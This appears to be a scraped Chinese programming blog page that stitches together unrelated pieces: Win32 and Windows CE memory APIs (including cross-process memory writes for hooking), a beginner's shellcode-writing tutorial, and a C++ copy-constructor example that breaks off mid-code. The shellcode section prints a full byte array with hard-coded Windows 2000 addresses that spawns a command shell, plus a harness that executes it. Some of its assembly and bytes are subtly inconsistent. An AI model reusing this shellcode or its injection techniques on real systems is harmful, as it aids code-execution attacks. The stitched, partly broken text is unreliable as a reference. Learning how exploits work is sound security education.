天天看点

C语言32位正整数作为id进程,井泉 - C++博客

1.3  虚拟内存访问

每个进程都拥有自己的虚拟地址空间,那么怎样才能访问这个空间呢?这就需要用到Windows API函数。这些函数直接与编写程序相关,因而更受软件工程师的关注。有关这方面的函数较多,这里介绍几个重要的函数。

1.3.1  获取系统信息

在一个程序中不能直接应用某个系统的设备参数,否则将不利于程序的移植。因此,如果确实需要用到这样的设备参数,则需要一个系统信息函数来获得。VC++ 编译器所提供这样的函数为GetSystemInfo()。该函数需要一个指向SYSTEM_INFO结构的指针作为参数。其原型表示为:

l

void GetSystemInfo(LPSYSTEM_INFO lpSystemInfo);

l

其中lpSystemInfo返回LPSYSTEM_INFO结构的地址,用于装载适当的系统信息,这个结构体定义为:

l

typedef struct _SYSTEM_INFO {

union {

DWORD dwOemId;

struct {

WORD wProcessorArchitecture;

WORD wReserved;

};

};

DWORD  dwPageSize;

LPVOID  lpMinimumApplicationAddress;

LPVOID  lpMaximumApplicationAddress;

DWORD_PTR  dwActiveProcessorMask;

DWORD  dwNumberOfProcessors;

DWORD  dwProcessorType;

DWORD  dwAllocationGranularity;

WORD   wProcessorLevel;

WORD   wProcessorRevision;

} SYSTEM_INFO;

l

其中参数含义如下所述。

dwOemId:是一个过时选项,用于与Windows NT 3.5以及以前的版本兼容。

wProcessorArchitecture:指明处理的结构,如Intel、Alpha、Intel 64位或Alpha       64位。

dwPageSize:用于显示CPU的页面大小。在x86 CPU上,这个值是4096字节。在Alpha CPU上,这个值是8192字节。在IA-64上,这个值是8192字节。

lpMinimumApplicationAddress:用于给出每个进程可用地址空间的最小内存地址。在Windows 98上,这个值是0x400000,因为每个进程的地址空间中下面的4MB是不能使用的。在Windows 2K/XP上,这个值是0x10000,因为每个进程的地址空间中开头的64KB总是空闲的。

lpMaximumApplicationAddress:用于给出每个进程可用地址空间的最大内存地址。在Windows 98上,这个地址是0x7FFFFFFF,因为共享内存映射文件区域和共享操作系统代码包含在上面的2GB分区中。在Windows XP上,这个地址是0x7FFEFFFF。

dwActiveProcessorMask:位屏蔽,指明哪个CPU是活动的。

dwNumberOfProcessors:计算机中CPU的数目。

dwProcessorType:处理器类型。

dwAllocationGranularity:保留的地址空间区域的分配粒度。

wProcessorLevel:进一步细分处理器的结构。

wProcessorRevision:用于进一步细分处理器的级别。

wReserved:保留供将来使用。

在以上参数中只有lpMinimumApplicationAddress、lpMaximumApplicationAddress、dwPageSize和dwAllocationGranularity与内存有关。

1.3.2  在应用程序中使用虚拟内存

对内存分配可以采用不同的方法,常用的方法有:用C/C++语言的内存分配函数,例如,用malloc() 和 free()、new 和 delete 函数分配和释放堆内存;用Windows传统的全局或者局部内存分配函数,如GlobalAlloc()和GlobalFree();用Win32的堆分配函数,如HeapAlloc()和HeapFree();用Win32的虚拟内存分配函数,如VirtualAlloc()和VirtualFree()。注意,用不同的方法分配内存后,要用相对应的函数来释放所占用的内存。这里只介绍Win32的虚拟内存分配函数。

在进程创建之初并被赋予地址空间时,其虚拟地址空间尚未分配,处于空闲状态。这时地址空间内的内存是不能使用的,必须通过VirtualAlloc()函数来分配其中的各个区域,对其进行保留。VirtualAlloc()函数原型为:

l

LPVOID VirtualAlloc(

LPVOID lpAddress,

DWORD dwSize,

DWORD flAllocationType,

DWORD flProtect

);

l

该函数用来分配一定范围的虚拟页。参数1指定起始地址;参数2指定分配内存的长度;参数3指定分配方式,取值MEM_COMMINT或者MEM_RESERVE;参数4指定控制访问本次分配的内存的标识,取值为PAGE_READONLY、PAGE_READWRITE或者PAGE_NOACCESS。

分配完成后,即在进程的虚拟地址空间中保留了一个区域,可以对此区域中的内存进行保护权限许可范围内的访问。当不再需要访问此地址空间区域时,应释放此区域,由VirtualFree()负责完成。其函数原型为:

l

BOOL VirtualFree(

LPVOID lpAddress,

DWORD dwSize,

DWORD dwFreeType

);

l

其中参数含义如下所述。

lpAddress:指向待释放页面区域的指针。如果参数dwFreeType指定了MEM_RELEASE,则lpAddress必须为页面区域保留由VirtualAlloc()所返回的基地址。

dwSize:指定了要释放的地址空间区域的大小,如果参数dwFreeType指定了MEM_RELEASE标志,则将dwSize设置为0,由系统计算在特定内存地址上的待释放区域的大小。

dwFreeType:为所执行的释放操作的类型,其可能的取值为MEM_RELEASE和MEM_DECOMMIT,其中MEM_RELEASE标志指明要释放指定的保留页面区域,MEM_DECOMMIT标志则对指定的占用页面区域进行占用的解除。

如果VirtualFree()执行完成,将回收全部范围的已分配页面,此后如再对这些已释  放页面区域内存进行访问将引发内存访问异常。释放后的页面区域可供系统继续分配   使用。

1.3.3  获取虚存状态

Windows API函数GlobalMemoryStatus()可用于检索关于当前内存状态的动态信息。在软件的About对话框中,通常用这个函数来获取系统内存的使用情况。其函数原型为:

l

void GlobalMemoryStatus(LPMEMORYSTATUS lpmstMemStat);

l

其中lpmstMemStat返回MEMORYSTATUS结构的地址,这个结构体的定义为:

l

typedef struct MEMORYSTATUS{

DWORD dwLength;

DWORD dwMemoryLoad;

DWORD dwTotalPhys;

DWORD dwAvailPhys;

DWORD dwTotalPageFile;

DWORD dwAvailPageFile;

DWORD dwTotalVirtual;

DWORD dwAvailVirtual;

} MEMORYSTATUS ,* LPMEMORYSTATUS;

l

其中参数含义如下所述。

dwLength:MEMORYSTATUS结构大小。

dwMemoryLoad:已使用内存所占的百分比。

dwTotalPhys:物理存储器的总字节数。

dwAvailPhys:空闲物理存储器的字节数。

dwTotalPageFile:页文件包含的最大字节数。

dwAvailPageFile:用户模式分区中空闲内存大小。

dwTotalVirtual:用户模式分区大小。

dwAvailVirtual:表示当前进程中还剩下的自由区域的总和。

在调用GlobalMemoryStatus()之前,必须将dwLength成员初始化为用字节表示的结构的大小,即一个MEMORYSTATUS结构的大小。这个初始化操作使得Microsoft能够在新版本Windows系统中将新成员添加到这个结构中,而不会破坏现有的应用程序。当调用GlobalMemoryStatus()时,它将对该结构的其余成员进行初始化并返回。

如果某个应用程序在内存大于4GB的计算机上运行,或者合计交换文件的大小大于4GB,那么可以使用新的GlobalMemoryStatusEx()函数。其函数的原型为:

l

BOOL GlobalMemoryStatusEx(MEMORYSTATUSEX  &mst);

l

其中mst返回MEMORYSTATUSEX结构的填充信息,该结构体与原先的MEMORYSTATUS结构基本相同,差别在于新结构的所有成员的大小都是64位宽,因此它的值可以大于4 GB。

1.3.4  确定虚拟地址空间的状态

对内存的管理除了对当前内存的使用状态信息进行获取外,还经常需要获取有关进程的虚拟地址空间的状态信息。例如,如何得到一个进程已提交的页面范围?这就要用到两个 API函数VirtualQuery()或VirtualQueryEx()来进行查询。这两个函数的功能相似,不同就是VirtualQuery()只是查询本进程内存空间信息,而VirtualQueryEx()可以查询指定进程的内存空间信息。VirtualQuery()函数原型如下:

l

DWORD VirtualQuery(

LPVOID lpAddress,

PMEMORY_BASIC_INFORMATION lpBuffer,

DWORD dwLength

);

l

VirtualQueryEx()函数原型如下:

l

DWORD VirtualQueryEx(

HANDLE hProcess ,

LPCVOID lpAddress ,

PMEMORY_BASIC_INFORMATION lpBuffer ,

DWORD dwLength

);

l

其中参数含义如下所述。

hProcess:进程的句柄。

lpAddress:想要了解其信息的虚存地址。

lpBuffer:返回MEMORY_ BASIC_INFORMATION结构的地址。

dwLength:返回的字节数。

PWEMORY_BASIC_INFORMATION的定义如下:

l

typedef struct _MEMORY_BASIC_INFORMATION{

PVOID BaseAddress;

PVOID AllocationBase;

DWORD AllocationProtect;

DWORD RegionSize;

DWORD State;

DWORD Protect;

DWORD Type;

} MEMORY_BASIC_INFORMATION, * PMEMORY_BASIC_INFORMATION;

l

其中参数含义如下所述。

BaseAddress:被查询内存块的基地址。

AllocationBase:用VirtualAlloc()分配该内存时实际分配的基地址。

AllocationProtect:分配该页面时,页面的一些属性,如PAGE_READWRITE、PAGE_EXECUTE等(其他属性可参考 Platform SDK)。

RegionSize:从BaseAddress开始,具有相同属性的页面的大小。

State:页面的状态,有3种可能值:MEM_COMMIT、MEM_FREE和MEM_ RESERVE,这个参数是最重要的,从中可知指定内存页面的状态。

Protect:页面的属性,它可能的取值与 AllocationProtect 相同。

Type:指明了该内存块的类型,有3种可能值:MEM_IMAGE、MEM_MAPPED和MEM_PRIVATE。

1.3.5  改变内存页面保护属性

在进行进程挂钩时,经常要向内存页中写入部分代码,这就需要改变内存页的保护属性。有幸的是Win32提供了两个API函数VirtualProtect()和VirtualProtectEx(),它们可以对改变内存页保护。例如,在使用这两个函数时,可以先按PAGE_READWRITE属性来提交一个页的地址,并且立即将数据填写到该页中,然后再把该页的属性改变为PAGE_READONLY,这样可以有效地保护数据不被该进程中的任何其他线程重写。在调用这两个函数之前最好先了解有关页面的信息,可以通过VirtualQuery()来实现。

VirtualProtect()与VirtualProtectEx()函数的区别在于VirtualProtect()只适用于本进程,而VirtualProtectEx()可以适用于其他进程。VirtualProtect()函数原型如下:

BOOL VirtualProtect(

PVOID pvAddress,

DWORD dwSize,

DWORD flNewProtect,

PDWORD pflOldProtect

);

l

VirtualProtectEx()函数原型如下:

l

BOOL VirtualProtectEx(

HANDLE hProcess,

PVOID pvAddress,

DWORD dwSize,

DWORD flNewProtect,

PDWORD pflOldProtect

);

l

其中参数的含义如下所述。

hProcess:要修改内存的进程句柄。

pvAddress:指向内存的基地址(它必须位于进程的用户方式分区中)。

dwSize:用于指明想要改变保护属性的字节数。

flNewProtect:代表PAGE_*保护属性标志中的任何一个标志,但PAGE_ WRITECOPY和PAGE_EXECUTE_WRITECOPY这两个标志除外。

pflOldProtect:是DWORD大小的地址,VirtualProtect()和VirtualProtectEx()将用原先与pvAddress位置上的字节相关的保护属性填入该地址。尽管许多应用程序并不需要该信息,但是必须为该参数传递一个有效地址,否则该函数的运行将会失败。

1.3.6  进行一个进程的内存读写

C语言32位正整数作为id进程,井泉 - C++博客

前面已经说明了如何获得一个进程的内存属性、如何分配内存和如何改变内存页的保护属性,其最终的目的是要对一个进程中内存内容进行读写。要完成此工作,需要用到两个函数:ReadProcessMemory() 和WriteProcessMemory(),这两个函数非常有用。如果知道了一个进程的句柄和内存地址,就可以用ReadProcessMemory()函数来得到该进程和该地址中的内容,此函数的原型为:

l

BOOL ReadProcessMemory(

HANDLE hProcess,

LPCVOID lpBaseAddress,

LPVOID lpBuffer,

DWORD nSize,

LPDWORD lpNumberOfBytesRead

);

l

其中hProcess为要读入的进程句柄,lpBaseAddress为读内存的起始地址,lpBuffer为读入数据的地址,nSize为要读入的字节数,lpNumberOfBytesRead为实际读入的字   节数。

同样,如果知道了一个进程的句柄和内存地址,可以用WriteProcessMemory()函数向该进程和该地址中写入新的内容,这个函数的原型为:

l

BOOL WriteProcessMemory(

HANDLE hProcess,

LPVOID lpBaseAddress,

LPVOID lpBuffer,

DWORD nSize,

LPDWORD lpNumberOfBytesWritten

);

l

其中参数hProcess为要写入的进程句柄,lpBaseAddress为写内存的起始地址,lpBuffer为写入数据的地址,nSize为要写入的字节数,lpNumberOfBytesWritten为实际写入的字节数。

嵌入式设备与桌面PC的一个显著不同是它的应用程序中通常需要直接访问某一段物理内存,这在驱动程序中对物理内存的访问尤为重要,尤其是像ARM体系结构下,I/O端口也被映射成某一个物理内存地址。因此,与桌面版本Windows相比,Windows CE提供了相对简单的物理内存访问方式。无论是驱动程序还是应用程序都可以通过API访问某一段物理内存。

Windows CE的有些函数中需要用到物理内存结构体PHYSICAL_ADDRESS, Windows CE在ceddk.h中定义了PHYSICAL_ADDRESS,它其实是LARGE_INTEGER类型,其定义如下:

// in ceddk.h

typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;

// in winnt.h

typedef union _LARGE_INTEGER{

struct{

DWORD LowPart;

LONG HighPart;

};

LONGLONG QuadPart;

} LARGE_INTEGER;

可见,Windows CE中用64个Bit来代表物理地址,对于大多数32位的CPU而言,只需要把它的HighPart设置为0就可以了。

如果要直接访问某一个地址的物理内存,Windows CE提供了VirtualAlloc()和VirtualCopy()函数,VirtualAlloc负责在虚拟内存空间内保留一段虚拟内存,而VirtualCopy负责把一段物理内存和虚拟内存绑定,这样,最终对物理内存的访问还是通过虚拟地址进行。它们的声明如下:

//申请虚拟内存

LPVOID VirtualAlloc(

LPVOID lpAddress,//希望的虚拟内存起始地址

DWORD dwSize,//以字节为单位的大小

DWORD flAllocationType,//申请类型,分为Reserve和Commit

DWORD flProtect//访问权限

);

//把物理内存绑定到虚拟地址空间

BOOL VirtualCopy(

LPVOID lpvDest,//虚拟内存的目标地址

LPVOID lpvSrc,//物理内存地址

DWORD cbSize,//要绑定的大小

DWORD fdwProtect//访问权限

);

VirtualAlloc对虚拟内存的申请分为两步,保留MEM_RESERVE和提交MEM_COMMIT。其中MEM_RESERVE只是在进程的虚拟地址空间内保留一段,并不分配实际的物理内存,因此保留的虚拟内存并不能被应用程序直接使用。MEM_COMMIT阶段才真正的为虚拟内存分配物理内存。

下面的代码显示了如何使用VirtualAlloc和VirtualCopy来访问物理内存。因为VirtualCopy负责把一段物理内存和虚拟内存绑定,所以VirtualAlloc的时候只需要对内存保留,没有必要提交。

FpDriverGlobals =

(PDRIVER_GLOBALS) VirtualAlloc(

0,

DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

MEM_RESERVE,

PAGE_NOACCESS);

if (FpDriverGlobals == NULL) {

ERRORMSG(DRIVER_ERROR_MSG, (TEXT(" VirtualAlloc failed!\r\n")));

return;

}

else {

if (!VirtualCopy(

(PVOID)FpDriverGlobals,

(PVOID)(DRIVER_GLOBALS_PHYSICAL_MEMORY_START),

DRIVER_GLOBALS_PHYSICAL_MEMORY_SIZE,

(PAGE_READWRITE | PAGE_NOCACHE))) {

ERRORMSG(DRIVER_ERROR_MSG, (TEXT("VirtualCopy failed!\r\n")));

return;

}

}

CEDDK还提供了函数MmMapIoSpace用来把一段物理内存直接映射到虚拟内存。此函数的原形如下:

PVOID MmMapIoSpace(

PHYSICAL_ADDRESS PhysicalAddress,//起始物理地址

ULONG NumberOfBytes,//要映射的字节数

BOOLEAN CacheEnable//是否缓存

);

其实,MmMapIoSpace函数内部也是调用VirtualAlloc和VirtualCopy函数来实现物理地址到虚拟地址的映射的。MmMapIoSpace函数的原代码是公开的,我们可以从%_WINCEROOT%\PUBLIC\COMMON\OAK\DRIVERS\CEDDK\DDK_MAP\ddk_map.c得到。从MmMapIoSpace的实现我们也可以看出VirtualAlloc和VirtualCopy的用法:

PVOIDMmMapIoSpace (

IN PHYSICAL_ADDRESS PhysicalAddress,

IN ULONG NumberOfBytes,

IN BOOLEAN CacheEnable

)

{

PVOID pVirtualAddress;ULONGLONG SourcePhys;

ULONG SourceSize;BOOL bSuccess;

SourcePhys = PhysicalAddress.QuadPart & ~(PAGE_SIZE - 1);

SourceSize = NumberOfBytes + (PhysicalAddress.LowPart & (PAGE_SIZE - 1));

pVirtualAddress = VirtualAlloc(0, SourceSize, MEM_RESERVE, PAGE_NOACCESS);

if (pVirtualAddress != NULL)

{

bSuccess = VirtualCopy(

pVirtualAddress, (PVOID)(SourcePhys >> 8), SourceSize,

PAGE_PHYSICAL | PAGE_READWRITE | (CacheEnable ? 0 : PAGE_NOCACHE));

if (bSuccess){

(ULONG)pVirtualAddress += PhysicalAddress.LowPart & (PAGE_SIZE - 1);

}

else {

VirtualFree(pVirtualAddress, 0, MEM_RELEASE);

pVirtualAddress = NULL;

}

}

return pVirtualAddress;

}

此外,Windows CE还供了AllocPhysMem函数和FreePhysMem函数,用来申请和释放一段连续的物理内存。函数可以保证申请的物理内存是连续的,如果函数成功,会返回虚拟内存的句柄和物理内存的起始地址。这对于DMA设备尤为有用。在这里就不详细介绍了,读者可以参考Windows CE的联机文档。

为了帮助初学者了解ShellCode的编写,并能一步一步操作得到自己的ShellCode,因此将Windows下ShellCode的编写过程作详细的介绍,以利于像我一样的菜鸟,最终能够写出简单的但却是真实的ShellCode;而进一步高级的ShellCode的编写,也会在系列后面的文章中一步一步的演示的,希望大家会发现,Exp真好,ShellCode最美妙!

ShellCode简介和编写步骤

从以前的文章和别人的攻击代码中可以知道,ShellCode是以“\xFF\x3A\x45\x72……”的形式出现在程序中的,而Exploit的构造就是想方设法地使计算机能转到我们的ShellCode上来,去执行“\xFF\x3A\x45\x72……”――由此看出,ShellCode才是Exploit攻击的真正主宰(就如同独行者是我们文章的主宰一样)。而ShellCode的“\xFF\x3A\x45\x72……”那些值,其实是机器码的形式,和一般程序在内存里面存的东东是没什么两样的,攻击程序把内存里面的数据动态改成ShellCode的值,再跳过去执行,就如同执行一个在内存中的一般程序一样,只不过完成的是我们的功能,溢出攻击就这样实现了。

在此可以下个定义:ShellCode就是一段程序的机器码形式,而ShellCode的编写过程,就是得到我们想要程序的机器码的过程。

当然ShellCode的特殊性和Windows下函数调用的特点,决定了和一般的汇编程序有所不同。所以其编写步骤应该是,

1.构想ShellCode的功能;

2.用C语言验证实现;

3.根据C语言实现,改成带有ShellCode特点的汇编;

4.最后得到机器码形式的ShellCode。

其中最重要的是第三步――改成有ShellCode特点的汇编,将在本文的后面讲到。

首先第一步是构想ShellCode的功能。我们想要的功能可能是植入木马,杀掉防火墙,倒流时光,发电磁波找外星人等等(WTF:咳……),但最基本的功能,还是希望开一个DOS窗口,那我们可以在DOS窗口中做很多事情,所以先介绍开DOS窗口ShellCode的写法吧。

C语言代码

比如下面这个程序就可以完成开DOS窗口的功能,大家详细看下注释:

#include

#include

typedef void (*MYPROC)(LPTSTR); //定义函数指针

int main()

{

HINSTANCE LibHandle;

MYPROC ProcAdd;

LibHandle = LoadLibrary(“msvcrt.dll”);

ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System"); //查找System函数地址

(ProcAdd) ("command.com"); //其实就是执行System(“command.com”)

return 0;

}

其实执行System(“command.com”)也可以完成开DOS窗口的功能,写成这么复杂是有原因的,解释一下该程序:首先Typedef void (*MYPROC)(LPTSTR)是定义一个函数指针类型,该类型的函数参数为是字符串,返回值为空。接着定义MYPROC ProcAdd,使ProcAdd为指向参数为是字符串,返回值为空的函数指针;使用LoadLibrary(“msvcrt.dll”);装载动态链接库msvcrt.dll;再使用ProcAdd = (MYPROC) GetProcAddress(LibHandle, System)获得 System的真实地址并赋给ProcAdd,之后ProcAdd里存的就是System函数的地址,以后使用这个地址来调用System函数;最后(ProcAdd) ("command.com")就是调用System("command.com"),可以获得一个DOS窗口。在窗口中我们可以执行Dir,Copy等命令。如下图1所示。

C语言32位正整数作为id进程,井泉 - C++博客

图1

获得函数的地址

程序中用GetProcAddress函数获得System的真实地址,但地址究竟是多少,如何查看呢?

在VC中,我们按F10进入调试状态,然后在Debug工具栏中点最后一个按钮Disassemble和第四个按钮Registers,这样出现了源程序的汇编代码和寄存器状态窗口,如图2所示

C语言32位正整数作为id进程,井泉 - C++博客

图2

继续按F10执行,直到到ProcAdd = (MYPROC) GetProcAddress(LibHandle, "System")语句下的Cll dword ptr [[email protected] (00424194)]执行后,EAX变为7801AFC3,说明在我的机器上System( )函数的地址是0x7801AFC3。如图3所示。

C语言32位正整数作为id进程,井泉 - C++博客

图3

WTF:注意本次测试中读者的机器是Windows 2000 SP3,不同环境可能地址不同。

为什么EAX就是System( )函数的地址呢?那是因为函数执行的返回值,在汇编下通常是放在EAX中的,这算是计算机系统的约定吧,所以GetProcAddress(”System”)的返回值(System函数的地址),就在EAX中,为0x7801AFC3。

Windows下函数的调用原理

为什么要这么麻烦的得到System函数的地址呢?这是因为在Windows下,函数的调用方法是先将参数从右到左压入堆栈,然后Call该函数的地址。比如执行函数Fun(argv1, argv2),先把参数从右到左压入堆栈,这里就是依次把argv2,argv1压入堆栈里,然后Call Fun函数的地址。这里的Call Fun函数地址,其实等于两步,一是把保存当前EIP,二是跳到Func函数的地址执行,即Push EIP + Jmp Fun。其过程如下图4所示。

C语言32位正整数作为id进程,井泉 - C++博客

图4

同理,我们要执行System("command.com"):首先参数入栈,这里只有一个参数,所以就把Command.com的地址压入堆栈,注意是Command.com字符串的地址;然后Call System函数的地址,就完成了执行。如图5所示。

C语言32位正整数作为id进程,井泉 - C++博客

图5

构造有ShellCode特点的汇编

明白了Windows函数的执行原理,我们要执行System(“Command.exe”),就要先把Command.exe字符串的地址入栈,但Command.exe字符串在哪儿呢?内存中可能没有,但我们可以自己构造!

我们把‘Command.exe’一个字符一个字符的赋给堆栈,这样‘Command.exe’字符串就有了,而栈顶的指针ESP正好是Command.exe字符串的地址,我们Push esp,就完成了参数――Command.exe字符串的地址入栈。如下图6所示。

C语言32位正整数作为id进程,井泉 - C++博客

图6

参数入栈了,然后该Call System函数的地址。刚才已经看到,在Windows 2000 SP3上,System函数的地址为0x7801AFC3,所以Call 0x7801AFC3就行了。

把思路合起来,可以写出执行System(“Command.exe”)的带有ShellCode特点的汇编代码如下。

mov esp,ebp ;

push ebp ;

mov ebp,esp ; 把当前esp赋给ebp

xor edi,edi ;

push edi ;压入0,esp-4,; 作用是构造字符串的结尾\0字符。

sub esp,08h ;加上上面,一共有12个字节,;用来放"command.com"。

mov byte ptr [ebp-0ch],63h ; c

mov byte ptr [ebp-0bh],6fh ; o

mov byte ptr [ebp-0ah],6dh ; m

mov byte ptr [ebp-09h],6Dh ; m

mov byte ptr [ebp-08h],61h ; a

mov byte ptr [ebp-07h],6eh ; n

mov byte ptr [ebp-06h],64h ; d

mov byte ptr [ebp-05h],2Eh ; .

mov byte ptr [ebp-04h],63h ; c

mov byte ptr [ebp-03h],6fh ; o

mov byte ptr [ebp-02h],6dh ; m一个一个生成串"command.com".

lea eax,[ebp-0ch] ;

push eax ; command.com串地址作为参数入栈

mov eax, 0x7801AFC3 ;

call eax ; call System函数的地址

明白了原理再看实现,是不是清楚了很多呢?

提取ShellCode

首先来验证一下,在VC中可以用__asm关键字插入汇编,我们把System(“Command.exe”)用我们写的汇编替换,LoadLibrary先不动,然后执行,成功!弹出了我们想要的DOS窗口。如下图7所示。

C语言32位正整数作为id进程,井泉 - C++博客

图7

同样的道理,LoadLibrary(“msvcrt.dll”)也仿照上面改成汇编,注意LoadLibrary在Windows 2000 SP3上的地址为0x77e69f64。把两段汇编合起来,将其编译、链接、执行,也成功了!如下图8所示。

C语言32位正整数作为id进程,井泉 - C++博客

图8

有了上面的工作,提取ShellCode就只剩下体力活了。我们对刚才的全汇编的程序,按F10进入调试,接着按下Debug工具栏的Disassembly按钮,点右键,在弹出菜单中选中Code Bytes,就出现汇编对应的机器码。因为汇编可以完全完成我们的功能,所以我们把汇编对应的机器码原封不动抄下来,就得到我们想要的ShellCode了。提取出来的ShellCode如下。

unsigned char shellcode[] =

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3

"\xFF\xD0";

验证ShellCode

最后要验证提取出来的ShellCode能否完成我们的功能。在以前的文章中已经说过方法,只需要新建一个工程和c源文件,然后把ShellCode部分拷下来,存为一个数组,最后在main中添上( (void(*)(void)) &shellcode )(),如下:

unsigned char shellcode[] =

"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"

"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"

"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"

"\x64\x9f\xE6\x77" //sp3 loadlibrary地址0x77e69f64

"\x52\x8D\x45\xF4\x50"

"\xFF\x55\xF0"

"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"

"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"

"\x50\xB8"

"\xc3\xaf\x01\x78" //sp3 System地址0x7801afc3

"\xFF\xD0";

int main()

{

( (void(*)(void)) &shellcode )()

return 0;

}

( (void(*)(void)) &shellcode )()这句话是关键,它把ShellCode转换成一个参数为空,返回为空的函数指针,并调用它。执行那句就相当于执行ShellCode数组里的那些数据。如果ShellCode正确,就会完成我们想要的功能,出现一个DOS窗口。我们亲自编写的第一个ShellCode成功完成!

小结

这个ShellCode的功能还比较单薄,而且通用性也待进一步研究,但的确是一个由我们亲自打造出来的ShellCode,而且现实中的ShellCode也是这样写出来的。只要我们掌握了基本的方法,以后就可以在广阔的空间中自由翱翔!

---------------------------------------------

定义函数void (* my_function)(void);

在程序中赋值:

my_function = 0x00;

然后调用函数:

my_function();

程序就会跳转到0x00地址开始执行,常用于BootLoader程序中.

类似的还有直接向某个地址写入数据:

int *my_address = 0x05555555;

*my_address = 0x22222222;

直接向0x05555555地址写入数据0x22222222.

对于普通类型的对象来说,它们之间的复制是很简单的,例如:

int a=100;

int b=a;

而类对象与普通对象不同,类对象内部结构一般较为复杂,存在各种成员变量。下面看一个类对象拷贝的简单例子。

#include

using namespace std;

class CA

{

public:

CA(int b)

{

a=b;

}

void Show ()

{

cout<

}

private:

int a;

};

int main()

{

CA A(100);

CA B=A;

B.Show ();

return 0;

}

运行程序,屏幕输出100。从以上代码的运行结果可以看出,系统为对象B分配了内存并完成了与对象A的复制过程。就类对象而言,相同类型的类对象是通过拷贝构造函数来完成整个复制过程的。下面我们举例说明拷贝构造函数的工作过程。

#include

using namespace std;

class CA

{

public:

CA(int b)

{

a=b;

}

CA(const CA& C)

{

a=C.a;

}

void Show()

{

cout<